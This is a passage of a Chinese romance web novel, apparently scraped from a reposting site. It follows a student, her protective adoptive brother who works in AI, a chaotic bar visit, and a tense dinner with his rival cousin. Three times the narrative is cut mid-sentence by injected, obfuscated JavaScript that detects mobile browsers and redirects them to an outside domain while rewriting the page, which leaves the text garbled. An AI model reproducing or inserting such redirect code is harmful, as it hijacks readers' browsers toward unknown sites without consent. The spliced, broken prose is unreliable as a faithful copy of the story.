钟卿悦看过后直呼她非常有天赋,情绪饱满,看的人为之动容。 果然到了面试当天,路畅凭借这段表演被夸赞,而钟卿悦没有表演经历,但才艺很好,被勉强录取。 面试结束,两人从话剧社离开,还没出门,迎面便碰到一个不熟又不陌生的人——周沐渊。 周沐渊看到钟卿悦第一眼愣了一下,接着淡淡笑了笑便垂着头匆匆离开。 之后两人经常在每周三话剧社组织的表演技巧培训上遇到,都会礼貌打招呼。 而经过几节培训课,钟卿悦意外觉得话剧表演很有意思,渐渐感兴趣起来,也让路畅不再那么愧疚。 这天培训课结束,她和路畅从活动中心门口分道扬镳,还未走到南门口,意外接到谢昱宁的电话。 “结束了吗?” 钟卿悦晃着手臂,脚步轻快,“结束了呀,现在往门口走呢。” 谢昱宁:“嗯,等我一下。” “嗯??” 钟卿悦一脸茫然,还没反应过来,身侧突然传来更为清晰的声音。 “钟卿悦。” 双重声音响在耳畔,一个在听筒那头,一个在不远处。 钟卿悦循声回望,惊讶不已,挂断电话朝他走去,“哥?你怎么在这?” “来见一位教授。”谢昱宁打量一眼她的穿着,蹙眉,“不冷?” 她嘿嘿一笑,已走至他身侧与他并肩,“一点点。” 谢昱宁冷哼一声,脱掉自己的大衣搭在她身上。 围绕周身的凉意瞬间消弭,取而代之是温热的气息,糅杂着雪松清冽的味道,笼罩全身。钟卿悦缩缩脖子,暖煦煦的温度使人放松。 “你见哪位教授?” 谢昱宁:“李松清教授,他和我的老师是好友。他听说故城智能港口项目,邀请我参加你们学校开展的智能科技创新讲座。” “哇!”钟卿悦惊喜地眨眨眼。 故南大学每个系都会开展系列讲座,邀请的均为各个领域专家学者或是行业领军人物、知名教授等等。她知道谢昱宁从事人工智能行业,但不知道他居然这么厉害。 “那你接受了吗?” 谢昱宁:“嗯,下周五。” “那我到时候去给你捧场!” — 周五上午上完课,路畅和奚乐昕得知钟卿悦下午要去听讲座,打算陪她一起去,于是三人一同去食堂吃午饭。 吃完午饭三人又从食堂转战图书馆,一直到两点多才出发去讲座现场。 春华秋实报告厅门口,不少学生结伴往里走。 奚乐昕好奇问道:“是什么讲座?” “智能科技创新,深度解析人工智能情感交互上的突破。”钟卿悦道。 “啊…?”奚乐昕挠头,“我是文科生啊!” 路畅笑眯眯道:“听个热闹。” 这时,擦肩而过几位同学的交谈传入三人耳朵。 “我知道今天主讲人,可厉害了,他们团队研究的机器人已经是国内人工智能的天花板了。” “对,他超级年轻,才26岁!我看公众号推送的宣传,照片好帅啊!” 几位同学走远,奚乐昕才笑着说话,“早说很帅,我肯定第一个来。” 钟卿悦在一旁听着笑意渐深,她倒是没看到公众号的宣传照片,不过她哥当然帅了! 走进报告厅,容纳千人的屋子人满为患,除了本校同学,还有许多预约来听的外校人员。 钟卿悦拉着两人往前排坐。 三点,主持人登台,介绍了谢昱宁的经历和背景,钟卿悦认真听着,发现她好像真的不太了解谢昱宁。 主持人的铺垫结束,在热烈掌声下谢昱宁缓缓走上舞台。 他穿着剪裁合体的深蓝色西装,布料上隐约能见细致的暗纹,领带是早上钟卿悦帮他搭的,还别了她那天逛街买给他的银色领带夹。他耳边戴着耳麦,手里拿着翻页笔,步伐从容,神色淡然。 在舞台中间站定,他目光环视报告厅,很快锁定前排坐着的钟卿悦。 四目相对,钟卿悦抿唇笑着,脸颊的梨涡若隐若现,他唇角勾了勾,回了个十分清淡的微笑。 路畅知道这是钟卿悦的哥哥,但她并没多说话。 奚乐昕完全不知情,这会儿一整个疯狂,“老天,这也太帅太年轻了,这不标准的年少有为吗?!太强了太强了。” 钟卿悦歪头看她,“跟我来没错吧?” “果然!”奚乐昕拍拍她肩膀,“下次有帅哥还要喊我。” 掌声悉数落下,谢昱宁缓缓开口。 他今天讲座的主题围绕人工智能的情感交互,重点分析他们团队 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501539|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 研发的Alex,通过分析人类语音语调、面部表情等特征来判断用户的情感状态。 他讲解简洁明了,用实验数据来清晰展示研发成果。除此之外,还讲述了国内人工智能发展趋势和下一目标面临的突破。 最后,他用一句话来总结概括——人工智能需要强大的算法引领才能遇见完美。 讲座持续一个多小时,结束后有短暂的答疑环节,许多本校相关专业的学生提出问题,谢昱宁一一认真解答。 答疑过后,讲座落下帷幕。钟卿悦受益匪浅,切身感受到人工智能的不断进步,为各个领域带来了不同的便利和支持。 报告厅的人陆续离开,奚乐昕喊着两人一块去夜市,钟卿悦没立刻接话,视线在报告厅内找寻谢昱宁的身影,只见他在舞台一侧的等候厅门口和李松清教授说话。 “你们要不等等我?我想问问他……”钟卿悦抬手悄悄指了指远处的谢昱宁,“他去不去。” 奚乐昕随着她指的方向看过去,直接惊掉下巴,“不是,姐们儿,你也太勇了吧??” 钟卿悦扑哧一下笑出声,“他是我哥。” ??? 奚乐昕满脸不可置信,“你哥?他是你哥??” 话音刚落,谢昱宁已经走到三人旁边,钟卿悦笑眯眯上前挽住他胳膊,“正好,介绍一下,这是我哥——谢昱宁。” 路畅早就知道,立刻礼貌打招呼。 奚乐昕目瞪口呆半天才缓过神,立刻开口喊人。 “哥,这是我两个好朋友,路畅、奚乐昕。” 谢昱宁对着两人颔首回应。 钟卿悦:“正好我们要去夜市,你去吗?” 谢昱宁点头应下。 — 一行人从北门出去,绕到西街夜市口。 远远看去,整条街灯火通明,不同颜色的招牌林立,滚烫的烟火和嘈杂的叫卖构成夜晚的美好。 顺着人流往深处走,小吃的香味充斥鼻尖,让人垂涎欲滴。 钟卿悦挨个看着,“好想吃烤冷面。” “诶,那家烧烤好香,好多人排队。” “也想吃臭豆腐,什么都想吃。” 谢昱宁蹙眉,“又想肚子疼了?” 这句话说完,钟卿悦依稀回想起那段记忆犹新的画面。 钟爸钟妈出差,家里只剩他们两人,吃过晚饭她又贪嘴吃了一堆零食,结果深夜上吐下泻。 谢昱宁发现她的时候她已经抱着枕头在他门口站了半宿,鼻涕一把泪一把,不知道哭了多久。 她噙着泪结结巴巴道:“哥…哥,我难受,你能不能…陪我…睡觉。” 谢昱宁沉着脸,给她往嘴里塞上健胃消食片,提着她回卧室,在床边看她睡了一宿。 想到这些,钟卿悦立马摇头,“我就吃一种!” 精心挑选后,她和路畅各买了一份烤冷面。 三人买完,钟卿悦凑到谢昱宁身边,“哥,你要吃什么?” 谢昱宁还未开口,身后突然传来陌生男生的呼喊,“钟卿悦,钟卿悦。” 钟卿悦茫然回头,就见一位个子很高,穿着灰色连帽衫的男生往她这边走,而他身后的周沐渊,正满脸尴尬地抓着他的袖子阻止。 男生见她回头,视线又落到她身侧的谢昱宁身上,一愣,“你有男朋友了?怪不得周沐渊最近那么消沉,原来是女神有男朋友了。” “你谁?我跟你很熟吗?”钟卿悦冷声开口。 奚乐昕也上前一步,“追求者?” 她扫一眼灰色连帽衫男生,“说话这么没礼貌,这是人家哥哥,别乱扣帽子。其次你朋友追不到女朋友让他从自身找原因,不过感觉碰到你这样的朋友,他很难恋爱呢。” 周沐渊连忙将男生扯到一边,对着钟卿悦一阵鞠躬,“抱歉抱歉钟同学,打扰了。” 说罢,周沐渊拉着男生立刻离开。 谢昱宁眸色晦暗,耳边还响着男生口中的“男朋友”。 男朋友?哥哥? 13. 第 13 章 从夜市离开回家的路上,车内响着舒缓的音乐,谢昱宁的情绪却怎么都无法平静下来。 他单手握着方向盘,空闲的手按了按额角,缓缓开口,“那个男生经常缠着你?” “谁?”钟卿悦愣了一下,接着会意,“周沐渊吗?没有,上次拒绝加他微信后他没再跟我说过话,他那个朋友我也是今天第一次见。” 谢昱宁淡淡应了声,“如果他缠着你,我可以帮你解决。” “没关系,他如果再提的话我会明确拒绝他,我不喜欢他这种类型。我将来……” 钟卿悦扬着头望向窗外,脑海中有许多幻想,“应该会谈一个非常优秀的男生,事业有成,长相英俊。” 话音落,车子行进到路口处,黄灯闪烁,红灯亮起,谢昱宁踩下刹车,很急,惯性导致身体微微前倾又迅速弹回椅背。 他脸色很差,眉宇间阴沉浓稠。 钟卿悦将来是会恋爱的。想到这,他心脏骤然收紧,呼吸变得稀薄凝滞,一股难以言喻的情绪在心底升腾。 忽然不平稳的车速让钟卿悦吓了一跳,下意识抓紧安全带,“哥,你慢点开。” 谢昱宁没接话,自顾自开口,“遇到这样的男生记得带来让我见。” “当然,我让哥哥给我把关。” 绿灯,车子再次启动,他握着方向盘的手收紧,指骨分明,骨节泛白。 回到家,徐阿姨已经下班,谢昱宁换上睡衣走进厨房。 钟卿悦洗漱完下楼时,客厅里弥漫着浓郁的米香。她寻味而去,看到谢昱宁忙碌在厨房的背影。 她的靠近并未引起谢昱宁的察觉,直至一个圆溜溜的脑袋从他侧边探出来,戴着清甜的笑意,“哥,你在干嘛?” 谢昱宁微怔,垂眸对上她澄澈的双眸,盈润闪亮。 “你不是没吃饱?” 她嘿嘿一笑,“知我者哥哥也。” 她倾身靠近砂锅,深吸一口气,“哇,好香——” “烫。”谢昱宁拉住她胳膊,扯着她往后退。 钟卿悦挣扎开他的手,侧身挤着他往一边退去,“你让我搅一搅。” 她的胳膊抵着他的身体,脑袋还往他肩膀上挤,手去夺他手里的白瓷勺子,指尖柔软。隔着薄薄的睡衣布料,他能清晰感受到她的体温,滚烫炙热,仿佛要把他的身体烧着,燃起一团大火。 他后退一步,让出灶台的位置。 她倾身凑近砂锅,手中的勺子搅动咕嘟咕嘟冒泡的米粥,头顶的射灯落下,在她侧颜留下明暗交界的阴影。 谢昱宁恍然望向自己的手,后知后觉。 她将来身边会有另外一个男人,更加亲密无间的关系,或许会握着她的手一起搅动粥。 那是她的男朋友,而他只是哥哥。 他只能在她贴近时疏离的后退保持距离。 那将来他去哪儿? 胸口再次出现沉重的感觉,像压了千万斤重的石头,让人无法呼吸。 他喉结滚动,半晌,薄唇轻启,“以后下课我去接你。” “啊?”钟卿悦偏头看他,好奇道,“你不忙吗?项目结束了?” “不忙,你把课表发我一份。” 钟卿悦点了点头,“好。” 那天后,几乎都是谢昱宁去接她下课,但随着江城研发项目接近尾声,谢昱宁也变得忙碌起来,常常故城江城两边跑,接她下课又变成司机的任务。 钟卿悦倒不是很在意,谁接她都一样。 这天,她下午的课还没结束,孟辰薇便给她发来消息:[明天周末,去放纵一下?] 钟卿悦支着下巴,懒懒打字:[去哪儿放纵?] 等了片刻,钟卿悦手机“咻咻咻”连响三下,孟辰薇发来三条视频。 略缩图黑乎乎的,也看不清是什么,她按下静音,点开视频。 画面放大,占据整个屏幕。 视频录制的环境很暗,镜头晃动看不清,她不明所以,刚想关闭,画面突然一转,各种颜色的镁光灯闪烁,照亮画面中舞台的位置,只见几个眉清目秀的男人穿着黑色衬衫,扣子解开三四颗,露着鼓起的胸肌。 钟卿悦手忙脚乱地关掉,下意识去看身边的路畅,幸好路畅并未察觉。 她低下头,迅速敲击屏幕,[什么东西?!] [孟辰薇:酒吧男模!帅不帅!] [钟卿悦:我在上课,黑脸.jpg] [孟辰薇:等你下课我们去吃饭,晚上一起去。] 钟卿悦眉头蹙起沉思着。 接着孟辰薇又发来一条视频,她用胳膊挡住屏幕,点开播放。 昏暗光线下人流如潮,摩肩擦踵,视野里的女生舞动着身体。镜头一转,舞台上站着另外一位男人,手拿麦克风,穿着深v西装,雪白脖颈上挂着多条银质项链,微微俯身,舞台下的女生伸手抓住他的项链,逼迫他低头亲昵。 视频戛然而止,钟卿悦倒吸一口凉气,这么劲爆吗……? 关掉视频,她不自然地撩了下头发,当然要去见识一下。 约好时间,下课后孟辰薇已经在校门口等她,让司机送她们到了商场就安排司机离开了。 吃饭途中,孟辰薇又给她看了好多视频,有怼脸拍摄那种,画面中帅气的男生靠近镜头,肌肤雪白,笑意嫣然,露着标准的八颗牙齿,宽大修长的手掌握住孟辰薇的手,十指相扣。 钟卿悦震惊不已。 孟辰薇拍着胸口,“放心,姐妹今天必让你感受到。” 吃完饭,两人打车去旧肆酒吧。 刚上车不久,钟卿悦便接到谢昱宁打来的电话,接听后,听筒传来谢昱宁平静的声音,“吃饭了吗?” “吃了呀,我跟薇薇一起吃的。” “回家的时候让王叔去接你们。” 钟卿悦应了声。 谢昱宁又道:“一会儿去哪?” “我们要去酒吧。”钟卿悦也不瞒着,直接明确的告诉他。 半晌,谢昱宁淡淡开口,“注意安全,到了发位置给我。” “好。你什么时候回故城?” 谢昱宁顿了顿,望向车窗外,车子在高速上飞快疾驰,隔离带上荧光条转瞬即逝。 他薄唇轻启,情绪不明,“很快。” 钟卿悦:“好,我挂啦。” 挂断电话,出租车停在旧肆酒吧门口,钟卿悦定位地址给谢昱宁发了过去。 下车,两人手挽手往酒吧走去。刚到门口,喧嚣的音乐瞬间钻进耳朵,铿锵有力的节奏感似乎在撞击心脏,钟卿悦不由得提起气,接着就吸入了空气中弥漫着的香水和酒精的混合气味,刺鼻难闻,她不适应地蹙起眉。 孟辰薇丝毫不见异样,拉着她往深处走去。 穿梭在整齐排列的卡座中,钟卿悦环顾观察着,每桌坐着男男女女,或玩游戏或聊天。台面上摆满样式各异的酒杯酒瓶,东倒西歪,甚至有破碎的玻璃片落在地上,一不小心就会踩到。 转了几个弯,两人停在空的卡座前,服务员立刻迎上来,孟辰薇凑近在他平板上点了几下,服务员立刻应声离开。 坐到红色皮质沙发上,孟辰薇凑到她耳边大声讲话,“我点了低度数的果酒,我喝过,味道不错,而且也不容易醉。” 钟卿悦凑回她耳边,“好!” 片刻后,服务员端着托盘熟稔地挤开人群,将不同的酒杯放到面前的玻璃桌上。 孟辰薇拿起其中一杯递给她,“你尝尝这个,很好喝。” 透明如水晶的高脚杯,底部是殷红的液体,往上逐渐是变为粉色,到顶端浮着冰块的地方,液体已变成纯净的透明色。 钟卿悦接过,凑到唇边抿了一下,冰凉入口,浓厚的葡萄味充斥口中,缓缓咽下后酒精的辛辣带着一点点甜味滑过嗓子。 她皱起眉头放下杯子,“好辣,不喜欢。” 孟辰薇诧异地睁大眼睛,“我觉得很好喝呀。” 钟卿悦摇了摇头,可能她属于不喜欢酒类的人群吧。 “那就不喝了。”孟辰薇拿出手机看了眼时间,声音拔高道,“马上就开始啦。” 话音刚落,远处的舞池忽然暗下灯光,接着响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15520061|170366||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓点,随着时间推移,鼓点越来越急促,连带着心脏都提起。 “走,要开始了。”孟辰薇蹭的一下从沙发上站起来。 钟卿悦还没搞清状况就被她拉着胳膊往舞池冲。生拉硬拽地跑了几百米,离开卡座区,下了小斜坡就到舞池外围。 这里的音乐振聋发聩,硕大的音箱悬挂于上空,发出“噔噔噔”的音乐节奏,钟卿悦心脏不由得收紧,太阳穴一下一下地抽动。 太吵了,像魔音入耳一样。 孟辰薇没有发现她的异样,拉着她胳膊硬往舞台边挤。 人流如织,各个都挤破脑袋想跟舞台上的男模互动,哪儿会轻易让出位置。 费了半天劲,两人还在外围打转。 “薇薇,我们回去吧。”钟卿悦紧紧掐着手心,不适感越来越明显。 奈何孟辰薇一心想带她长见识,根本没在意她的话,视线到处转着,试图从人群紧凑围成的半圆中找到豁口,带她“脱颖而出”。 “那里!我们去那里!” 孟辰薇忽然高喊一声,指着远处舞台边缘的地方,那里堆满空酒筐,看着足有三四米高。因为距离舞台过远,男模走到那边的概率较低,又有危险指数,导致那边没几个人。 钟卿悦面色难看,“我们不去了吧。” “好不容易来一次,我答应你的!” 孟辰薇不顾她的反对,紧紧拉着她的手腕就往目标位置去。 挤开人群,两人顺利站到舞台边。 钟卿悦更加难受了,震动的音箱就在她脑袋上方,激烈的强音乐疯狂输出,心脏如同被揪起捏紧蹂躏。 孟辰薇丝毫感觉不到,推着钟卿悦往舞台边去,挥手冲着舞台上的男人大喊,“啊啊啊啊啊——弟弟,来姐姐这——” 钟卿悦深呼吸,想要稳住逐渐急促的心跳,可吸进去的空气又是呛人的香水味,顿时让她胃部也随之收紧,不好,想吐…… 孟辰薇在一旁焦急地呼唤舞台上的男人,很是希望他们走到这边,让她的好姐妹近距离接触一下。 看着孟辰薇因着急而红温的侧脸,钟卿悦实在不好驳她的面子,只好憋着一口气,咽着口水,将胃部的翻涌压下。 不知是孟辰薇太卖力还是舞台上的男人意识到边缘还有粉丝。他突然扭动着身体走向她们方向,手里拿着麦克风高声打招呼。 “啊啊啊啊啊悦悦,来了来了!!”孟辰薇紧紧抓着她的手臂,推搡着她往前去。 钟卿悦被迫靠在舞台的铁架上,身后的人群拥挤着朝她的方向涌来,无数双手从她脖子和脑袋后方伸出,大张着五指叫喊着,试图引起舞台上男人的注意。 钟卿悦紧紧闭上眼,震耳的音乐混杂着不同声线的尖叫,她好难受。 孟辰薇拉起她的手,恨铁不成钢地大喊道:“悦悦悦悦,快伸手!” 手臂被孟辰薇高高举起,舞台上的男人走近,单膝跪地,倾身向前,魅惑的双眼含笑,偏头对着众人wink。 “啊啊啊啊啊啊——” “哥哥——” 此起彼伏的呐喊声成为男人的兴奋剂,他弯下身子,巨大的领口一览无余,鼓起的胸肌,紧实排列的腹肌。 钟卿悦睁眼就被暴击,这么大尺度的吗?! 与此同时,靠墙的巨型空酒框忽然摇摇晃晃,紧接着便直直往着舞台歪去,掉落的酒框遮挡光线,阴影遮盖下来。 钟卿悦愣怔一瞬,抬头便看到坠落的酒框朝她砸来,速度极快,像下起了巨型冰雹。 她下意识偏头躲开,忽然,眼前一暗,温热的手掌覆盖在她眼前,遮挡视线。原本紧贴舞台边缘的腰上多了一道力,隔开她和铁架的亲密接触,手臂骤然收紧,强势从背后搂住她,下一秒用力将她提起,她双脚瞬间离地,被人环抱着往后退去。 “薇薇!”她慌张大喊,本能伸手往前住抓去。 “悦悦,快走!”孟辰薇捂着头大喊一声,抬眸却看到钟卿悦身后的人,她呆了一瞬,立刻放开了手。 钟卿悦不明所以,只觉胳膊上的力道松了,孟辰薇松开了她! 14. 第 14 章 钟卿悦如坠冰窟,她被人绑架了! 她尝试挣扎,双手拼命挥动无果,只好用手肘狠狠撞击身后坚硬的身躯,双腿不分青红皂白往前踢着,口中高喊着:“救命,救命,我不认识他,那位白色红色黑色上衣裤子的大哥救救我!” 几番抵抗,身后的人终于经受不住她狠烈的肘击,闷哼一声,粗重的呼吸夹杂着浓稠的暴怒,“钟卿悦。” 她停住动作,这声音好熟悉…… 横在腰间的手臂一松,她被稳稳放在地上,眼前的手掌离开,视线回归。 她发现自己已经远离舞池,正站在斜坡的上方,回头看去,原本拥挤的舞池因为危险乱作一团,地面一片狼藉,空酒筐东倒西歪,许多人捂着头蜷缩在地上。 响彻的音乐早已停止,酒吧的工作人员在迅速疏散人群处理现场。 “薇薇呢?”她心下一惊,立刻找人。 此时,孟辰薇从远处人群中跑过来,“悦悦,我在这。” 钟卿悦立刻上下打量她,“你没事吧?没砸着吧?” “没有没有,幸好大哥把我们头顶的空酒筐打开了,不然我们两个人都得被砸。” 钟卿悦一愣,紧张回身去看谢昱宁,“哥,你没受伤吧?” 说罢,她拎起他胳膊查看,手臂无恙,刚要松口气,却赫然看到他手背的红色创面。 空酒筐重量沉,外表又坚硬,在击打时产生摩擦,导致皮肤擦伤,隐隐渗出血色。创面外围的皮肤则因为受到挤压,出现青紫色的瘀斑。 “你砸着手了。”钟卿悦有些慌,白皙的手指紧紧握着他的手腕,指尖小心翼翼去触碰那片淤青,“疼吗?我们去医院吧。” 说着就拉着他往外走。 谢昱宁没接话,反手握住她的手,“回家。” “诶……”钟卿悦微愣,然后点了点头。 和孟辰薇分道扬镳,两人出了酒吧上了车。 钟卿悦坐在副驾驶,偏头看向谢昱宁,他的手搭在方向盘上,伤口一目了然。 “哥,回家我帮你处理伤口。” 谢昱宁淡淡应了声。 “你什么时候回来的?怎么都不告诉我。” “给你打电话时已经要下高速了。” “你抱我的时候我以为有人绑架,真的吓死了,我都想好怎么殊死搏斗了,幸好你说话了,不然你就要尝到我拳头有多硬了。” “你能打过我?”谢昱宁挑眉,“这种地方很乱,绑架少见,但趁乱靠近你做些什么,很正常。” 他没想吓她,钟卿悦也知道他说得是事实。 谢昱宁:“那间酒吧舞台周围全都是危险因素,舞台上的人在剧烈跳动时下面的钢制结构已经在晃动,如果运气不好就会造成舞台坍塌。而且人员密集,今天酒框掉落的时候差点发生踩踏事件。” 钟卿悦微怔,她没考虑那么多,但现在细细想来已经开始后怕了。 “我以后不去了。”她说得认真,“酒吧太吵了。” 通过这次她彻底明白她其实讨厌嘈杂的环境,且这些地方危险系数较高,需要一直提高警惕,太累了。 她叹口气,“而且男模也都差不多,没意思。” 谢昱宁额角抽了抽,反问道:“差不多?” “嗯,可不呗。”她撇撇嘴,“都是穿着大v领,偶尔露出腹肌,化着厚重的妆,有的还做美甲,身上是劣质香水的味。” “钟卿悦……”谢昱宁闭了闭眼,还是捂她眼睛捂晚了。 “怎么嘛,我说的是事实。不过我保证,我以后肯定不去了,这种环境不适合我,我还是去逛街吧。” 说到这,钟卿悦抿唇笑道:“你的副卡额度可比妈妈的高多了。” 车子在红灯前停下,他偏头看向她,她说话时眉眼含笑,瞳仁似乎还在闪着光。 他下意识伸出手,缓缓、慢慢地落在她发顶,柔软毛茸茸的触感。 “嗯,逛吧。” 话音落,他轻轻揉了揉便收回手。 钟卿悦扬起唇角,歪头看他,“我头发是不是很蓬松?” 他被逗笑,无奈摇了摇头,“是。” 回到家,钟卿悦给他处理伤口,擦伤和撞击两重,处理起来很是麻烦。 先消毒了伤口,在破皮的周围涂了碘伏,用纱布包扎避免进入细菌。操作完一处,她又着手处理淤青处,抹上消肿止痛膏,拿了冰袋冰敷。 她操作认真,动作轻柔小心,冰袋用毛巾裹得厚厚的,敷上去时小心翼翼抬眸看他,眨巴眨巴眼睛问:“疼吗?” 谢昱宁安静垂眸,盯着她的眼睛摇了摇头。 “那就好。”她一只手垫在他手掌下,一只手扶着冰袋,缓缓道,“哥,你回国都受伤两次了,两次都是我帮你包扎,这算不算救命恩人?” “救命恩人?不应该是我吗?” 钟卿悦:“那抵消了!” 谢昱宁眯了眯眼,神色不明,半晌,薄唇轻启,“休想。” 没错,休想。 他两只手都有伤,这是他自己说的。 左手是旧伤,不能提重物,右手是新伤,无法吃饭喝水。 所以…… 受伤后第二天,恰好周末,早饭时,谢昱宁抬着肿的像包子的手面缓缓放在桌上。 他也不多说话,只是在尝试拿筷子无果后,目光淡淡落到钟卿悦脸上。 钟卿悦嘴上说着抵消了,但看到他的手却心软了,还能真看他连饭都吃不上嘛? 她叹口气,端着自己的盘子坐到他身边,夹起包子递到他嘴边。 他盯了一瞬,张口咬下。 这样的模式一直持续到临近元旦假期,他手背不再那么肿。 假期前几天,钟爸一直频繁给钟卿悦打电话,明里暗里说着钟妈很想她,她便决定趁着假期回一趟江城。 和谢昱宁商量好,假期前一天她的课结束就出发回程。 回江城的路上是谢昱宁开车,中午经过安槲县两人专门去吃了特色牛肉火锅,等到家时天已经黑透。 踏进主楼,钟爸和袁姨已经迎在门口,钟爸见到钟卿悦后,热泪盈眶,拉着她手看了半天,缓缓道:“怎么还胖了…?” “老钟!”钟卿悦怒甩开他,“非要给我新的一年增加压力吗?!” 钟爸哈哈大笑,“只能说明五千块钱也够你生活的很好。” 说到这个钟卿悦就来气,她挽住谢昱宁胳膊,“如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不不不。”男人抬手,唇角上挑,“加一套餐具,谢谢。” 侍从左右为难,视线打量两人,最终落到钟卿悦脸上,钟卿悦接收后看了眼谢昱宁,又转头看向侍从,淡淡道:“他不饿。” 男人不怒反笑,扬扬眉,“好,不吃。” 片刻后,主菜端上桌,厨师上前为牛排淋上红酒酱,介绍食材后离开。 谢昱宁切好牛排放到钟卿悦盘子里,自始始终没将男人放在眼里。 男人盯了谢昱宁许久,脸上的笑容逐渐隐去,“见你一面真难,我爸到现在都没约到过你。” 谢昱宁没接话,连个眼神都没施舍给他。 男人又道:“我只是来转达爷爷的话,他打算认你回家,子公司也由你经营,前提是,把你爸留下的芯片拿出来。” “你研发的二代的核心算法和谢氏即将上线的交互机器人算法高度相似,是否构成侵权只在谢氏一念之间。” 男人一番话说完,谢昱宁终于掀眼皮瞥他一眼,顿了一瞬,懒懒开口,“相似?凭借谢氏残缺的代码?” 15. 第 15 章 短短几句话的交流,钟卿悦已经猜到眼前男人和谢昱宁的关系。 她不着痕迹看向男人的右手,如果是她心中所猜测的人,那这只手套下就藏着可以确认身份的东西。 她垂下眸,视线落在空了的水杯上,拿起,自然地放到左手边,远处待命的侍从立刻会意,端着水壶便走了过来。 温热的水流徐徐落进透明水杯中,她对着侍从颔首,“谢谢,麻烦倒满。” 男人瞥了一眼她的方向,不以为意,目光又转到谢昱宁那边。 他拉了下大衣衣领,不耐烦地往椅背上一靠,“我不想跟你废话,芯片本来就是谢家的,你现在得到的一切也都是谢家的。趁着爷爷还愿意补偿你,你最好识趣一点。” 谢昱宁慢条斯理地放下刀叉,淡淡反问:“芯片?” “装傻?”男人脸色一凛,“没有你爸临死前留下的芯片你能研发出Alex?” “我告诉你,谢昱宁。”男人微微倾身,双手搭在桌面上,整个人靠近谢昱宁,声音压得很低,“你知道的,我什么都能做出来。” 说罢,他余光若有似无地扫了眼钟卿悦的方向。 谢昱宁眸色瞬间阴沉,寒凉的目光如冰刃落在他脸上,“你敢?” 男人冷冷一笑,“你怎么知道我不敢?” 谢昱宁:“那你就试试。” 钟卿悦没有听清两人的对话,她的注意力一直在男人的右手上。 此刻,正是揭开面纱的好时机。 她浅浅抿唇,不动声色地将满杯的温水往前推了推,下一秒,指尖悠悠伸出,沿着杯壁轻轻滑动一瞬,微微用力,水杯轰然倒塌,满杯的温水如开闸的堤坝,一股脑全浇在男人的右手上。 “卧槽!”男人被惊了一下,迅速收回手,然而为时已晚,手套被浸湿,水流顺着桌布滴到他裤子上。 他无所适从地愣了一瞬,立即抬头去看罪魁祸首。 四目相对,钟卿悦一脸无辜地眨了眨眼,“天呐,太糟糕了。” 一点歉意也没有,反倒还带着一副看热闹的模样。 男人狠狠瞪了她一眼,烦躁地甩了甩手,奈何水太多了,早已沁进手套里面。 几番操作起不到任何左右,无奈之下,男人摘下手套。 手掌露出的那一瞬间,钟卿悦看到手背上清晰的疤痕,从食指中指之间一直到手背中部,大约有四五厘米的样子,疤痕比皮肤的颜色要白很多,缝针的针脚皱起周围的皮肤,像一只丑陋的蜈蚣盘踞着,总而言之,很明显。 钟卿悦感叹自己的聪明,果然是他。 谢宇谦压下怒火,起身抽了许多纸巾,先擦了湿手套,又去擦裤子和桌面。 片刻后,他将纸巾团吧团吧扔在桌上,佯装无事发生。 他再次看向谢昱宁,继续刚才的对话,“你不愿回谢家没问题,交出谢家的东西。” 这么无耻的话也就只能由这种无耻的人说出。 钟卿悦冷哼一声,翻个白眼,“麻烦把脑浆摇匀再说话好吗?全靠一张嘴?” 她目光故意瞥了眼他的右手,动作嘲讽意味分明,“拿筷子都费劲吧,是还没长记性呢?真记吃不记打?” “你!”谢宇谦装了一晚上的谦谦君子,终于在此刻破防了,他眼睛瞪得像铜铃,耳根到脖子的地方青筋暴起,“我不跟女生一般见识,你别逼我。” 钟卿悦无语地撇撇嘴,“你走吧,你在这影响我胃口。” 谢昱宁懒懒掀起眼皮,半倚着椅背,抬了抬下巴,示意他门口的位置。 被两人一块下逐客令,谢宇谦脸上也没了面子。他清楚知道这一趟找谢昱宁宣告失败,他继续呆下去只是自讨苦吃。 “好,我们走着瞧。” 他放下狠话,猛然站起身,椅子被挤倒在地。他不管不顾,愤愤转身,大步朝门口走去。走至门口花坛处,他气没撒出去,将手中攥着的皮手套恶狠狠地摔进花坛里。 侍从看见便走了过去,“诶,先生,花坛不是垃圾桶。” 他愤怒转身,“滚!” 谢宇谦离开后,侍从连忙过来收拾好卫生。 谢昱宁含笑看着她,“认出来了?” “当然。”钟卿悦得意地扬扬下巴,“我聪明吧?” “嗯,聪明。” 钟卿悦:“哎呦,我也觉得。哥,我告诉你哦,叔叔拼死留下的东西一定不能落到他们手里。你好好研发,用技术把他们打趴下!” “这么信任我?”他挑眉看她。 “当然了,你能力强。他…?会写代码吗?我秉持质疑态度,感觉他脑瓜子不伶俐。” 钟卿悦举起酒杯,“我相信你是最棒的,我会无条件支持你!” 谢昱宁勾起唇角,拿起酒杯和她轻轻相碰,“好。” 